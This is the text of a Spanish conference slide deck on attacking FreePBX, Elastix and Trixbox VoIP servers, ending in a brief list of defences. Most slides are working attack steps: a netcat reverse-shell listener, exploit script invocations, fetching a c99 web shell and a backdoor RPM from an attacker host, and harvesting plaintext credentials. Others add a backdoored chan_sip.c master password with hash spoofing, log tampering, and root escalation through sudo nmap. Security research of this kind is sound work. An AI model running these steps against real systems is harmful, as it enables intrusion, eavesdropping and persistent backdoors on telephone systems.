  • 36. Dejamos una terminal a la escucha con Netcat en nuestro equipo: pepelux@debian$ nc -l -p 31337 Llamamos por teléfono a la extensión 999 para ejecutar nuestro script.
  • 38. Automatizando el proceso (script 1) Pasos a seguir: 1 - Creamos un plan de llamadas para crear el script con la shell: pepelux@debian$ perl freepbx.pl -h 192.168.2.20 -u admin -p web01 -cs -ip 192.168.2.9 2 – Llamamos por teléfono para ejecutarlo. 3 - Creamos un plan de llamadas para ejecutar el script: pepelux@debian$ perl freepbx.pl -h 192.168.2.20 -u admin -p web01 -es 4 – Ponemos una terminal a la escucha con Netcat: pepelux@debian$ nc -l -p 31337 5 – Llamamos por teléfono para ejecutarlo.
  • 40. Automatizando el proceso (script 2) Pasos a seguir: 1 – Ponemos un terminal a la escucha con Netcat: pepelux@debian$ nc -l -p 31337 2 – Lanzamos el script: pepelux@debian$ perl freepbx.pl -h 192.168.2.20 -u admin -p web01 -auto -call -user 206 pass 123456asd
  • 41. ¡¡ Veamos un caso práctico !! DEMO Con la última versión de FreePBX: 2.11.0 (Stable-4.211.64-7) del 20/09/2013
  • 42. ¿Quiénes somos y dónde estamos? sh-4.1$ whoami asterisk sh-4.1$ id uid=uid=498(asterisk) gid=498(asterisk) groups=498(asterisk) sh-4.1$ uname -a; cat /etc/issue /proc/version Linux localhost.localdomain 2.6.32-358.14.1.el6.i686 #1 SMP Tue Jul 16 21:12:30 UTC 2013 i686 i686 i386 GNU/Linux CentOS release 6.4 (Final) Kernel r on an m Linux version 2.6.32-358.14.1.el6.i686 (mockbuild@c6b10.bsys.dev.centos.org) (gcc version 4.4.7 20120313 (Red Hat 4.4.7-3) (GCC) ) #1 SMP Tue Jul 16 21:12:30 UTC 2013
  • 44.
  • 45. Algunos comandos: sh-4.1$ mysql -D mysql -u root -e "show databases" sh-4.1$ mysql -D mysql -u root -e "show tables" sh-4.1$ mysql -D mysql -u root -e "select Host,User,Password from user"
  • 46. Algunos comandos: ¿ Veis algo extraño ? sh-4.1$ mysql -D mysql -u root -e "show databases" sh-4.1$ mysql -D mysql -u root -e "show tables" sh-4.1$ mysql -D mysql -u root -e "select Host,User,Password from user"
  • 47. Algunos comandos: ¿ Veis algo extraño ? sh-4.1$ mysql -D mysql -u root -e "show databases" sh-4.1$ mysql -D mysql -u root -e "show tables" sh-4.1$ mysql -D mysql -u root -e "select Host,User,Password from user" El usuario root NO tiene contraseña!!
  • 48. Podemos darnos acceso desde el exterior: sh-4.1$ mysql -D mysql -u root -e "grant select,insert,drop on asterisk.* to 'pepelux'@'192.168.2.9' identified by 'mipass123';" Y acceder desde nuestra máquina: pepelux@debian$ mysql -h 192.168.2.20 -u pepelux -p Enter password: Welcome to the MySQL monitor. Commands end with ; or g. Your MySQL connection id is 184 Server version: 5.1.61 Source distribution ….. Type 'help;' or 'h' for help. Type 'c' to clear the current input statement. mysql>
  • 49. ¿Y si el administrador ha puesto una contraseña a la cuenta de root?
  • 50. ¿Y si el administrador ha puesto una contraseña a la cuenta de root? En el fichero /etc/freepbx.conf (propiedad del usuario asterisk) tenemos la contraseña de freepbxuser, en claro! sh-4.1$ cat /etc/freepbx.conf <?php $amp_conf['AMPDBUSER'] = 'freepbxuser'; $amp_conf['AMPDBPASS'] = 'hm7n2Xtcrpa0'; $amp_conf['AMPDBHOST'] = 'localhost'; $amp_conf['AMPDBNAME'] = 'asterisk'; $amp_conf['AMPDBENGINE'] = 'mysql'; ...
  • 51. sh-4.1$ mysql -D asterisk -u freepbxuser -e "show tables" -p Enter password:
  • 52.
  • 53. Echemos un ojo a la web: sh-4.1$ ls /var/www/html/admin -la
  • 54. Echemos un ojo a la web: sh-4.1$ ls /var/www/html/admin -la ¿ Veis algo extraño ?
  • 55. Echemos un ojo a la web: sh-4.1$ ls /var/www/html/admin -la ¿ Veis algo extraño ? Soy el propietario de la web!!
  • 56. ¿Qué tal si subimos una shell? sh-4.1$ cd /var/www/html sh-4.1$ wget 192.168.2.9/freepbx/c99.txt sh-4.1$ mv c99.txt c99.php
  • 57. ¿Qué tal si subimos una shell? sh-4.1$ cd /var/www/html sh-4.1$ wget 192.168.2.9/freepbx/c99.txt sh-4.1$ mv c99.txt c99.php
  • 58.
  • 59. Es posible que hayamos accedido al sistema a través de un bug y no conozcamos la contraseña del administrador … si lo actualizan, perderemos el acceso …
  • 60. Es posible que hayamos accedido al sistema a través de un bug y no conozcamos la contraseña del administrador … si lo actualizan, perderemos el acceso … Además, la contraseña en la BBDD no está en claro ... sh-4.1$ mysql -u root -D asterisk -e "select username, password_sha1 from ampusers"
  • 61. ¡¡¡ no hay problema !!! … en /etc/amportal.conf (propiedad del usuario asterisk) está toda la configuración de FreePBX. sh-4.1$ cat /etc/amportal.conf | grep PASS AMPMGRPASS=amp111 CDRDBPASS= ARI_ADMIN_PASSWORD=web01 AMPDBPASS=hm7n2Xtcrpa0
  • 62. ¡¡¡ no hay problema !!! … en /etc/amportal.conf (propiedad del usuario asterisk) está toda la configuración de FreePBX. sh-4.1$ cat /etc/amportal.conf | grep PASS AMPMGRPASS=amp111 CDRDBPASS= ARI_ADMIN_PASSWORD=web01 AMPDBPASS=hm7n2Xtcrpa0 ← Contraseña en claro del administrador
  • 63. Veamos los ficheros de configuración ... sh-4.1$ ls -la /etc/asterisk
  • 64. Veamos los ficheros de configuración ... sh-4.1$ ls -la /etc/asterisk ¿ Veis algo extraño ?
  • 65. Veamos los ficheros de configuración ... sh-4.1$ ls -la /etc/asterisk ¿ Veis algo extraño ? Soy el propietario de Asterisk!!
  • 66. ¿Qué tal si usamos el servicio Manager, que por defecto viene activo? sh-4.1$ cat /etc/asterisk/manager.conf [general] enabled = yes port = 5038 bindaddr = 0.0.0.0 displayconnects=no ;only effects 1.6+ [admin] secret = amp111 deny=0.0.0.0/0.0.0.0 permit=127.0.0.1/255.255.255.0 read = system,call,log,verbose,command,agent,user,config,command,dtmf,reporting,cdr,dialplan,originate write = system,call,log,verbose,command,agent,user,config,command,dtmf,reporting,cdr,dialplan,originate
  • 67. Ya que tenemos el control de la web, nos creamos una página “atractiva” en algún lugar oculto ...
  • 68. Y la conectamos con el servicio Manager de la FreePBX ... $sc = fsockopen(“localhost”, 5038, $errnum, $errdesc) or die(“Connection failed”); fputs($sc, “Action: loginrn”); fputs($sc, “Events: offrn”); fputs($sc, “Username: adminrn”); fputs($sc, “Secret: amp111rnrn”); fputs($sc, “Action: originatern”); fputs($sc, “Channel: LOCAL/$MI_TELEFONO@ext-localrn”); fputs($sc, “WaitTime: 30rn”); fputs($sc, “Exten: $TFNO_DE_MI_AMIGOrn”); fputs($sc, “Context: ext-localrn”); fputs($sc, “Priority: 1rnrn”); fputs($sc, “Action: logoffrnrn”); sleep(3); fclose($sc);
  • 69.
  • 70. Además, el servicio Manager NO está bloqueado ante accesos externos ... pepelux@debian ~$ nmap 192.168.2.11 -p5038 Starting Nmap 5.21 ( http://nmap.org ) at 2013-01-22 18:21 CET Nmap scan report for 192.168.2.11 Host is up (0.000054s latency). PORT STATE SERVICE 5038/tcp open unknown Si modificamos manager.conf permitiendo el acceso desde cualquier lugar ... permit=0.0.0.0/0.0.0.0 Podremos ejecutar comandos de Asterisk remotamente … pepelux@debian:~$ exec 3<>/dev/tcp/localhost/5038 && echo -e "Action: LoginnUsername:adminnSecret:amp111nEvents: offnnAction: CommandnCommand: sip show peersnnAction: Logoffnn" >&3 && cat <&3
  • 71. A ver los módulos ... sh-4.1$ ls -la /usr/lib/asterisk/modules/
  • 72. A ver los módulos ... sh-4.1$ ls -la /usr/lib/asterisk/modules/ Bueno, al menos son propiedad de root!!! parece que no los podemos modificar ...
  • 73. ¿ O sí que podemos ?
  • 74. ¿ O sí que podemos ? Porque si el fichero /etc/asterisk/asterisk.conf, donde se indica la ruta de los módulos, es propiedad del usuario asterisk …
  • 75. ¿ O sí que podemos ? Porque si el fichero /etc/asterisk/asterisk.conf, donde se indica la ruta de los módulos, es propiedad del usuario asterisk … ¿ Qué nos impide copiar los módulos en otra ruta y modificar asterisk.conf ?
  • 76. Buscamos un directorio con permisos de escritura y copiamos los módulos: sh-4.1$ mkdir /var/lib/asterisk/moh/modules sh-4.1$ cp /usr/lib/asterisk/modules/* /var/lib/asterisk/moh/modules/
  • 77. Modificamos el fichero asterisk.conf cambiando la ruta de los módulos: sh-4.1$ cd /etc/asterisk sh-4.1$ mv asterisk.conf asterisk.conf.cop sh-4.1$ echo "[directories]">asterisk.conf sh-4.1$ echo "astetcdir => /etc/asterisk">>asterisk.conf sh-4.1$ echo "astmoddir => /var/lib/asterisk/moh/modules">>asterisk.conf sh-4.1$ echo "astvarlibdir => /var/lib/asterisk">>asterisk.conf sh-4.1$ echo "astagidir => /var/lib/asterisk/agi-bin">>asterisk.conf sh-4.1$ echo "astspooldir => /var/spool/asterisk">>asterisk.conf sh-4.1$ echo "astrundir => /var/run/asterisk">>asterisk.conf sh-4.1$ echo "astlogdir => /var/log/asterisk">>asterisk.conf sh-4.1$ echo "[options]">>asterisk.conf sh-4.1$ echo "transmit_silence_during_record = yes">>asterisk.conf sh-4.1$ echo "languageprefix=yes">>asterisk.conf sh-4.1$ echo "execincludes=yes">>asterisk.conf
  • 78. Reiniciamos el Asterisk ... sh-4.1$ asterisk -rx "core restart when convenient"
  • 79. Reiniciamos el Asterisk ... sh-4.1$ asterisk -rx "core restart when convenient" Verificamos qué módulos hay en uso ... sh-4.1$ fuser -v /usr/lib/asterisk/modules/res_curl.so sh-4.1$ fuser -v /var/lib/asterisk/moh/modules/res_curl.so USER PID ACCESS COMMAND /var/lib/asterisk/moh/modules/res_curl.so: asterisk 2565 ....m asterisk
  • 80. Y digo yo
  • 81. Y digo yo … Si Asterisk es de código abierto y somos capaces de cambiar un módulo en la FreePBX ...
  • 82. Y digo yo … Si Asterisk es de código abierto y somos capaces de cambiar un módulo en la FreePBX ... ¿Qué tal si modificamos chan_sip.c (encargado de validar los peers) y creamos una contraseña maestra, por código, que valide a cualquier usuario, y luego sustituimos nuestro chan_sip.so por el original?
  • 83. Función de chan_sip.c que valida el registro de los peers: /*! brief Check user authorization from peer definition Some actions, like REGISTER and INVITEs from peers require authentication (if peer have secret set) return 0 on success, non-zero on error */ static enum check_auth_result check_auth(struct sip_pvt *p, struct sip_request *req, const char *username, const char *secret, const char *md5secret, int sipmethod, const char *uri, enum xmittype reliable, int ignore) { …....... }
  • 84. Validación del peer: if (!ast_strlen_zero(md5secret)) { ast_copy_string(a1_hash, md5secret, sizeof(a1_hash)); } else { char a1[256]; snprintf(a1, sizeof(a1), "%s:%s:%s", username, p->realm, secret); ast_md5_hash(a1_hash, a1); } /* compute the expected response to compare with what we received */ { char a2[256]; char a2_hash[256]; char resp[256]; snprintf(a2, sizeof(a2), "%s:%s", sip_methods[sipmethod].text, S_OR(keys[K_URI].s, uri)); ast_md5_hash(a2_hash, a2); snprintf(resp, sizeof(resp), "%s:%s:%s", a1_hash, usednonce, a2_hash); ast_md5_hash(resp_hash, resp); } good_response = keys[K_RESP].s && !strncasecmp(keys[K_RESP].s, resp_hash, strlen(resp_hash));
  • 85. Añadiendo estas pocas líneas permitiremos que cualquier usuario valide con la contraseña 31337: if (good_response == 0) { char a1[256], char a2[256]; char a2_hash[256]; char resp[256]; strcpy(secret, "31337"); snprintf(a1, sizeof(a1), "%s:%s:%s", username, p->realm, secret); ast_md5_hash(a1_hash, a1); snprintf(a2, sizeof(a2), "%s:%s", sip_methods[sipmethod].text, S_OR(keys[K_URI].s, uri)); ast_md5_hash(a2_hash, a2); snprintf(resp, sizeof(resp), "%s:%s:%s", a1_hash, usednonce, a2_hash); ast_md5_hash(resp_hash, resp); good_response = keys[K_RESP].s && !strncasecmp(keys[K_RESP].s, resp_hash, strlen(resp_hash)); }
  • 86. Compilamos en nuestra máquina el módulo y lo subimos al servidor de FreePBX: sh-4.1$ cd /var/lib/asterisk/moh/modules/ sh-4.1$ rm chan_sip.so sh-4.1$ wget http://192.168.2.9:/freepbx/chan_sip.so
  • 87. Compilamos en nuestra máquina el módulo y lo subimos al servidor de FreePBX: sh-4.1$ cd /var/lib/asterisk/moh/modules/ sh-4.1$ rm chan_sip.so sh-4.1$ wget http://192.168.2.9:/freepbx/chan_sip.so Recargamos el módulo ... sh-4.1$ asterisk -rx "module unload chan_sip.so" sh-4.1$ asterisk -rx "module load chan_sip.so"
  • 88. Compilamos en nuestra máquina el módulo y lo subimos al servidor de FreePBX: sh-4.1$ cd /var/lib/asterisk/moh/modules/ sh-4.1$ rm chan_sip.so sh-4.1$ wget http://192.168.2.9:/freepbx/chan_sip.so Recargamos el módulo ... sh-4.1$ asterisk -rx "module unload chan_sip.so" sh-4.1$ asterisk -rx "module load chan_sip.so" Unable to load module chan_sip.so Command 'module load chan_sip.so' failed.
  • 89. Compilamos en nuestra máquina el módulo y lo subimos al servidor de FreePBX: sh-4.1$ cd /var/lib/asterisk/moh/modules/ sh-4.1$ rm chan_sip.so sh-4.1$ wget http://192.168.2.9:/freepbx/chan_sip.so Recargamos el módulo ... sh-4.1$ asterisk -rx "module unload chan_sip.so" sh-4.1$ asterisk -rx "module load chan_sip.so" Unable to load module chan_sip.so Command 'module load chan_sip.so' failed. Asterisk no nos permite meter un módulo de otra compilación!!
  • 91. Pero … Y si nos descargamos el chan_sip.so original a nuestra máquina ... sh-4.1$ cp /usr/lib/asterisk/modules/chan_sip.so /var/www/html/ pepelux@debian$ wget http://192.168.2.20/chan_sip.so Y lo comparamos con la copia usando el comando strings: pepelux@debian$ strings chan_sip_orig.so __gmon_start__ __cxa_finalize _Jv_RegisterClasses ast_str_append …....... _ast_calloc 95089850e3c922fa176f9bd274fd8109 ← Huella del fichero original
  • 93. pepelux@debian$ strings chan_sip_cop.so __gmon_start__ __cxa_finalize _Jv_RegisterClasses ast_str_append …....... ;*2$" 47bd3e0f3e5a335edebd1441b5beb3af ← Huella del fichero modificado Con un editor hexadecimal le ponemos al nuevo fichero la huella del original.
  • 94.
  • 95. Repetimos el proceso … sh-4.1$ cd /var/lib/asterisk/moh/modules/ sh-4.1$ rm chan_sip.so sh-4.1$ wget http://192.168.2.9:/freepbx/chan_sip.so
  • 96. Repetimos el proceso … sh-4.1$ cd /var/lib/asterisk/moh/modules/ sh-4.1$ rm chan_sip.so sh-4.1$ wget http://192.168.2.9:/freepbx/chan_sip.so Recargamos el módulo ... sh-4.1$ asterisk -rx "module unload chan_sip.so" sh-4.1$ asterisk -rx "module load chan_sip.so"
  • 97. Repetimos el proceso … sh-4.1$ cd /var/lib/asterisk/moh/modules/ sh-4.1$ rm chan_sip.so sh-4.1$ wget http://192.168.2.9:/freepbx/chan_sip.so Recargamos el módulo ... sh-4.1$ asterisk -rx "module unload chan_sip.so" sh-4.1$ asterisk -rx "module load chan_sip.so" Loaded module chan_sip.so
  • 98. Repetimos el proceso … sh-4.1$ cd /var/lib/asterisk/moh/modules/ sh-4.1$ rm chan_sip.so sh-4.1$ wget http://192.168.2.9:/freepbx/chan_sip.so Recargamos el módulo ... sh-4.1$ asterisk -rx "module unload chan_sip.so" sh-4.1$ asterisk -rx "module load chan_sip.so" Loaded module chan_sip.so Hemos troyanizado el Asterisk!!
  • 99. Repetimos el proceso … sh-4.1$ cd /var/lib/asterisk/moh/modules/ sh-4.1$ rm chan_sip.so sh-4.1$ wget http://192.168.2.9:/freepbx/chan_sip.so Recargamos el módulo ... sh-4.1$ asterisk -rx "module unload chan_sip.so" sh-4.1$ asterisk -rx "module load chan_sip.so" Loaded module chan_sip.so Hemos troyanizado el Asterisk!!
  • 100. ¡¡ Veamos un caso práctico !! DEMO Con la última versión de FreePBX: 2.11.0 (Stable-4.211.64-7) del 20/09/2013
  • 101. El problema es que con todo esto, habremos dejado muchos logs ...
  • 102. El problema es que con todo esto, habremos dejado muchos logs ... No pasa nada, los logs también son propiedad del usuario asterisk! sh-4.1$ ls -la /var/log/asterisk -la
  • 103. El problema es que con todo esto, habremos dejado muchos logs ... No pasa nada, los logs también son propiedad del usuario asterisk! sh-4.1$ ls -la /var/log/asterisk -la
  • 104. Además de todo esto, si la versión de FreePBX es <= 2.10.0 … sh-4.1$ cat /etc/sudoers asterisk ALL = NOPASSWD: /sbin/shutdown asterisk ALL = NOPASSWD: /usr/bin/nmap asterisk ALL = NOPASSWD: /usr/bin/yum asterisk ALL = NOPASSWD: /bin/touch asterisk ALL = NOPASSWD: /bin/chmod asterisk ALL = NOPASSWD: /bin/chown asterisk ALL = NOPASSWD: /sbin/service asterisk ALL = NOPASSWD: /sbin/init asterisk ALL = NOPASSWD: /usr/sbin/postmap asterisk ALL = NOPASSWD: /usr/sbin/postfix asterisk ALL = NOPASSWD: /usr/sbin/saslpasswd2 uucp ALL = NOPASSWD: /bin/chmod asterisk ALL = NOPASSWD: /usr/sbin/hardware_detector asterisk ALL = NOPASSWD: /sbin/chkconfig
  • 105. ¡ Podemos rootear la máquina ! sh-4.1$ sudo nmap --interactive Starting Nmap V. 4.11 ( http://www.insecure.org/nmap/ ) Welcome to Interactive Mode -- press h for help nmap> !sh id uid=0(root) gid=0(root) groups=0(root)
  • 106. Otros sistemas La web es mucho más estricta y no podemos inyectar el script desde el CLI
  • 107. Otros sistemas La web es mucho más estricta y no podemos inyectar el script desde el CLI Pero trae un editor de ficheros que nos permite crear un nuevo fichero con la shell: Creamos a mano el plan de llamadas en extensions.conf (o desde el CLI): dialplan reload dialplan add extension 999,1,answer, into from-internal dialplan add extension 999,2,system,/usr/bin/perl</etc/asterisk/shell.conf into from-internal dialplan add extension 999,3,hangup, into from-internal
  • 108. Otros sistemas Durante la instalación nos obliga a poner una contraseña al usuario root de mysql.
  • 109. Otros sistemas Durante la instalación nos obliga a poner una contraseña al usuario root de mysql. Pero: bash-3.2$ cat /etc/elastix.conf mysqlrootpwd=asterisk01 ← Contraseña de root para mysql cyrususerpwd=asterisk01 ← Contraseña de IMAPd amiadminpwd=web01 ← Contraseña del administrador de la web
  • 110. Otros sistemas Una vez dentro, lo mismo que antes. bash-3.2$ id uid=100(asterisk) gid=101(asterisk) La web es propiedad del usuario asterisk. Los ficheros de configuración de Asterisk son también propiedad del usuario asterisk, y el proceso para cambiar un módulo es el mismo. Una vez tenemos acceso al sistema, la configuración es prácticamente la misma que en una FreePBX.
  • 111. Otros sistemas En versiones de Elastix superiores a la 2.2.0 se ha corregido el “problema” del fichero sudoers ...
  • 112. Otros sistemas En versiones de Elastix superiores a la 2.2.0 se ha corregido el “problema” del fichero sudoers … pero olvidaron quitar los permisos para el comando yum (hasta la versión 2.4.0) bash-3.2$ cat /etc/sudoers asterisk ALL = NOPASSWD: /sbin/shutdown asterisk ALL = NOPASSWD: /usr/bin/yum ... Por lo que si tenemos acceso por consola … ¡ podemos rootear la máquina ! bash-3.2$ wget http://x.x.x.x/backdoor.rpm bash-3.2$ sudo yum localinstall backdoor.rpm
  • 113. Otros sistemas La web no trae interfaz de comandos (CLI)
  • 114. Otros sistemas La web no trae interfaz de comandos (CLI) Pero trae un editor de ficheros que nos permite modificar ficheros de configuración: Creamos a mano el plan de llamadas en extensions.conf: [from-internal] exten => 999,1,answer() exten => 999,2,system(/usr/bin/perl</etc/asterisk/sip_custom.conf) exten => 999,3,hangup()
  • 115. Otros sistemas Una vez dentro, lo mismo que antes. bash-3.2$ id uid=100(asterisk) gid=101(asterisk) bash-3.2$ grep AMPDB /etc/amportal.conf AMPDBNAME=asterisk ← BBDD de Asterisk AMPDBUSER=asteriskuser ← Usuario para mysql AMPDBPASS=amp109 ← Contraseña para mysql La web y el Asterisk, también son propiedad del usuario asterisk, al igual que en las otras distribuciones.
  • 116. Otros sistemas En Trixbox siguen estando nmap y yum permitidos en el fichero sudoers …. bash-3.2$ cat /etc/sudoers asterisk ALL = NOPASSWD: /sbin/shutdown asterisk ALL = NOPASSWD: /usr/bin/nmap asterisk ALL = NOPASSWD: /usr/bin/yum asterisk ALL = NOPASSWD: /bin/chown asterisk ALL = NOPASSWD: /bin/chmod …....... Por lo que si tenemos acceso por consola … ¡ podemos rootear la máquina !
  • 117. Consecuencias ¿ Y qué pasa si alguien entra en el sistema y hace alguna llamada ? No puede ser tan grave …
  • 118. Consecuencias ¿ Y qué pasa si alguien entra en el sistema y hace alguna llamada ? No puede ser tan grave … ¿ o sí ?
  • 119. Consecuencias Además, una vez accedida a la consola, mediante técnicas de “Man in The Middle” (MiTM) podemos: Monitorizar todo el tráfico de la red: ● Obtención de contraseñas (correo, bancos, redes sociales, etc). ● A pesar de acceder a páginas seguras (HTTPS) → uso de SSLStrip. ● Realizar ataques de “phishing”: ● Suplantación de nombres de dominio y redirección a páginas clonadas. ● Inyección de “malware”: ● Instalación de código JS que permita apoderarnos de los diferentes PCs. ● Troyanización de equipos. ●
  • 120. Soluciones Si vamos a usar este tipo de plataformas, debemos tomar unas ciertas medidas de seguridad: - Restringir el acceso a la web únicamente desde la red local. - Bloquear todos los accesos procedentes de Internet que no sean estrictamente necesarios. - Proteger la web privada con usuario y contraseña mediante un htaccess. - Evitar el uso de puntos de acceso inalámbricos que puedan poner en peligro nuestra red. - Configurar correctamente los servicios de Asterisk (configuraciones, contextos, ...). - Mantener el sistema siempre actualizado. - Estar al día con los fallos de seguridad que van apareciendo.
  • 121. ¡ Gracias ! Jose Luis Verdeguer @pepeluxx verdeguer@zoonsuite.com http://blog.pepelux.org http://www.zoonsuite.es http://www.linkedin.com/in/pepelux ¿ Preguntas ?